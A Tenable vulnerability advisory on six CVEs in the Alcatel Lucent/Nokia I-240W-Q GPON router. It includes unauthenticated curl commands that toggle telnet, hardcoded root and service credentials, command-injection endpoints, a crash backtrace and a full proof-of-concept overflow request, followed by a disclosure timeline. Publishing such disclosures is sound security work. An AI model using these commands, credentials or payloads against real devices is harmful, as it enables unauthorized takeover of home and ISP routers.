Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Nokia GPON ONT Multiple Vulnerabilities

Critical

Synopsis

While investigating an Alcatel Lucent I-240W-Q GPON ONT with firmware 3FE54567BOZJ19, Tenable discovered multiple vulnerabilities. Note that the business unit that maintained the I-240W-Q was purchased by Nokia.

CVE-2019-3917: Remote Enabling of Telnet

Telnet is not enabled by default. However, a remote unauthenticated attacker can enable telnet on the device by sending an HTTP request.

curl http://[router ip]/ote

The attacker can also disable the telnet service.

curl http://[router ip]/otd

This vulnerability is documented in some old security blogs, but no patch was put out and no CVE was ever assigned.

CVE-2019-3918: Hard Coded Credentials

The device has a handful of hardcoded credentials:

  1. root/admin (telnet)
  2. root/huigu309 (telnet)
  3. CRAFTSPERSON/ALC#FGU (telnet)
  4. ONTUSER/SUGAR2A041 (ssh)

CVE-2019-3919: Authenticated Command Injection (usb_restore_Form)

The endpoint /GponForm/usb_restore_Form?script/ is vulnerable to blind command injection via the usb_partition parameter. A remote, authenticated attacker can use this vulnerability to execute arbitrary commands or programs on the device (e.g. dropbear).

CVE-2019-3920: Authenticated Command Injection (device_Form)

The endpoint /GponForm/device_Form?script/ is vulnerable to blind command injection via the usb_partition parameter. A remote, authenticated attacker can use this vulnerability to execute arbitrary commands or programs on the device (e.g. dropbear).

CVE-2019-3921: Authenticated Stack Buffer Overflow in WebMgr

The WebMgr process handles HTTP POST requests sent to /GponForm/usb_Form?script/. A number of the form's parameters are vulnerable to buffer overflow by unexpectedly long values. Example parameters: ftpusername, ftppassword1, ftpdirname, clientusername, clientpassword, urlbody, and webdir. They all generate a similar backtrace:

(gdb) bt 
#0 0x41414140 in ?? ()
#1 0x401156c0 in bfree () from /usr/lib/libWebs.so
Cannot access memory at address 0x4141413d
(gdb) info registers
r0 0x208 520
r1 0x391a8 233896
r2 0x4012a590 1074963856
r3 0x5 5
r4 0x41414141 1094795585
r5 0x41414141 1094795585
r6 0x41414141 1094795585
r7 0x41414141 1094795585
r8 0x41414141 1094795585
r9 0x41414141 1094795585
r10 0x41414141 1094795585
r11 0x41414141 1094795585
r12 0xbefb9108 3204157704
sp 0x41414141 0x41414141
lr 0x401156c0 1074878144
pc 0x41414140 0x41414140
fps 0x0 0
cpsr 0x20000030 536870960

CVE-2019-3922: Unauthenticated Stack Buffer Overflow in WebMgr

A remote unauthenticated attacker can send the following request to /GponForm/fsetup_Form and trigger a stack buffer overflow.

curl -i -s -k -X $'POST' \
-H $'Host: 192.168.1.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: http://192.168.1.1/fsetup.html' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 1443' -H $'Cookie: hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
-b $'hibext_instdsigdipv2=1; _ga=GA1.1.1081495671.1538484678' \
--data-binary $'XWebPageName=fsetup&XSetup=wifi&loid_user=AAA&loid_psw=&pppoe_user=&pppoe_psw=&wifi_ssid=ChinaNet-AAAA&wifi_ch=4&wifi_enc=3&wifi_psw=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' \
$'http://192.168.1.1/GponForm/fsetup_Form'

Solution

Nokia informs Tenable that they have contacted affected customers. If you believe you are affected but have not been contacted then reach out to Nokia.

Disclosure Timeline

11/15/2018 - Tenable discloses to Nokia PSIRT. 90 days is Feb. 13
01/03/2019 - Tenable asks for an update.
01/08/2019 - Nokia confirms all findings. Asks for name to put in their hall of fame.
01/08/2019 - Tenable indicates "Artem Metla". Tenable asks for clarification on the exact vulnerabilities being acknowledged so Tenable can assign CVE.
01/09/2019 - Nokia again says all findings are confirmed. Nokia indicates they are reaching out to their customers.
01/09/2019 - Tenable asks Nokia what they are sharing with their customers. Tenable points out public disclosure will trigger a Tenable research advisory.
01/11/2019 - Nokia indicates they are gathering information on vulnerable customers and working on patches that should be ready by the end of February. Nokia asks Tenable not to disclose unpatched vulnerabilities.
01/11/2019 - Tenable asks for more details on the patch date. Tenable again advises that Nokia should read Tenable's disclosure policy and reminds them of the Feb 13 deadline.
01/11/2019 - Nokia thanks Tenable for the disclosure policy and indicates Nokia will inform Tenable of the patch date on 01/14/2019.
01/14/2019 - Nokia starts a new email chain. Gives Tenable a run down of everything being done to address the issue. Nokia asks for a two week extension as per the Tenable disclosure document.
01/15/2019 - Tenable grants the two week extension. Tenable *again* requests Nokia confirm specific vulnerabilities so Tenable can assign CVE.
01/23/2019 - Tenable asks for an update.
01/23/2019 - Nokia confirms six vulnerabilities.
01/29/2019 - Tenable thanks Nokia and asks if Tenable should assign CVE.
02/04/2019 - Nokia asks for the assigned CVE.
02/05/2019 - Tenable assigns CVE-2019-3917 through CVE-2019-3922.
02/05/2019 - Nokia thanks Tenable.
02/25/2019 - Tenable reminds Nokia of pending disclosure. Tenable asks for a list of affected and patched versions.
02/26/2019 - Tenable reiterates the request for affected and patched versions.
02/26/2019 - Nokia adds in contact that Tenable accidentally removed.
02/27/2019 - Tenable informs Nokia of publication.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2019-09
Credit:
Artem Metla
CVSSv2 Base / Temporal Score:
10.0 / 7.4
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:C/I:C/A:C
Affected Products:
I-240W-Q GPON ONT
Risk Factor:
Critical

Advisory Timeline

02/27/2019 - Initial release
02/27/2019 - Added a PoC